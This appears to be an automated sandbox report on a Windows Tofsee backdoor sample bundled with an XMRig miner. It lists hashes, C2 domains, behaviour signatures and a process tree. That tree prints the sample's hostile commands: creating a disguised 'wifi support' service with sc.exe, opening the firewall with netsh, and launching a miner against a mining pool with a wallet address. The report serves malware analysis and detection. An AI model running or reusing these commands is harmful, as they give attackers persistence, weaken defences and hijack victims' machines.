Analysis

  • max time kernel
    152s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/02/2023, 10:22

General

  • Target

    file.exe

  • Size

    350KB

  • MD5

    9843513c4bae71444788ec615e3293a7

  • SHA1

    45d1edf0261a0d51500d73393b7c90bbbb409cc8

  • SHA256

    f3dc148e91f2b99c4bff566c2ad3b692e0cf9103ba98d668f8476f362a54dc6d

  • SHA512

    f652ddd7bc80724701a20dab2e84da88d199763a93f6f38441a4c8b2fa823750a690d604b71ed2754a360196498e7f148470901b319a34f57c9191aca32fef2e

  • SSDEEP

    3072:6fauW+PfyscDGK5n+kZkNJLeTM1ZIpkETaOvv6LJsIG9nf6NzG2UUzkE:cdW+fyscDzpAiM12xnaLSXnfWzGmk

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lbeogtlz\
      2⤵
        PID:5012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jdtknlox.exe" C:\Windows\SysWOW64\lbeogtlz\
        2⤵
          PID:3220
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lbeogtlz binPath= "C:\Windows\SysWOW64\lbeogtlz\jdtknlox.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lbeogtlz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1412
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lbeogtlz
          2⤵
          • Launches sc.exe
          PID:3004
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1344
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2564 -s 1272
          2⤵
          • Program crash
          PID:3956
      • C:\Windows\SysWOW64\lbeogtlz\jdtknlox.exe
        C:\Windows\SysWOW64\lbeogtlz\jdtknlox.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4964
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2300
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 528
          2⤵
          • Program crash
          PID:3188
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2564 -ip 2564
        1⤵
          PID:4556
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4964 -ip 4964
          1⤵
            PID:116

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\jdtknlox.exe

            Filesize

            14.3MB

            MD5

            092f3a38f8c59a05423c3ec1ba57f7e3

            SHA1

            783dec39339d56b08410f1df333fd68f23dbbfb7

            SHA256

            ea0ffd1592d6231b9c8021fa396bf0c0a0247731c83e63a80d596bd64ec96786

            SHA512

            03791099f4550b4c41107bf5c5cd702ceda8af589f1b7b44610f85bee8f3d085dd98853a8ef1293c5536072b3d2d075e952ba36f8edd973b5dc5646e9a3546cd

          • C:\Windows\SysWOW64\lbeogtlz\jdtknlox.exe

            Filesize

            14.3MB

            MD5

            092f3a38f8c59a05423c3ec1ba57f7e3

            SHA1

            783dec39339d56b08410f1df333fd68f23dbbfb7

            SHA256

            ea0ffd1592d6231b9c8021fa396bf0c0a0247731c83e63a80d596bd64ec96786

            SHA512

            03791099f4550b4c41107bf5c5cd702ceda8af589f1b7b44610f85bee8f3d085dd98853a8ef1293c5536072b3d2d075e952ba36f8edd973b5dc5646e9a3546cd

          • memory/112-159-0x00000000017A0000-0x00000000017B0000-memory.dmp

            Filesize

            64KB

          • memory/112-165-0x0000000007540000-0x000000000794B000-memory.dmp

            Filesize

            4.0MB

          • memory/112-162-0x00000000017D0000-0x00000000017D5000-memory.dmp

            Filesize

            20KB

          • memory/112-153-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/112-152-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/112-151-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/112-146-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/112-156-0x0000000000410000-0x0000000000416000-memory.dmp

            Filesize

            24KB

          • memory/112-168-0x00000000017E0000-0x00000000017E7000-memory.dmp

            Filesize

            28KB

          • memory/2300-177-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/2300-172-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/2564-133-0x000000000054D000-0x0000000000563000-memory.dmp

            Filesize

            88KB

          • memory/2564-134-0x00000000004F0000-0x0000000000503000-memory.dmp

            Filesize

            76KB

          • memory/2564-144-0x0000000000400000-0x000000000047D000-memory.dmp

            Filesize

            500KB

          • memory/2564-143-0x000000000054D000-0x0000000000563000-memory.dmp

            Filesize

            88KB

          • memory/2564-135-0x0000000000400000-0x000000000047D000-memory.dmp

            Filesize

            500KB

          • memory/4964-150-0x0000000000400000-0x000000000047D000-memory.dmp

            Filesize

            500KB

          • memory/4964-149-0x0000000000859000-0x000000000086E000-memory.dmp

            Filesize

            84KB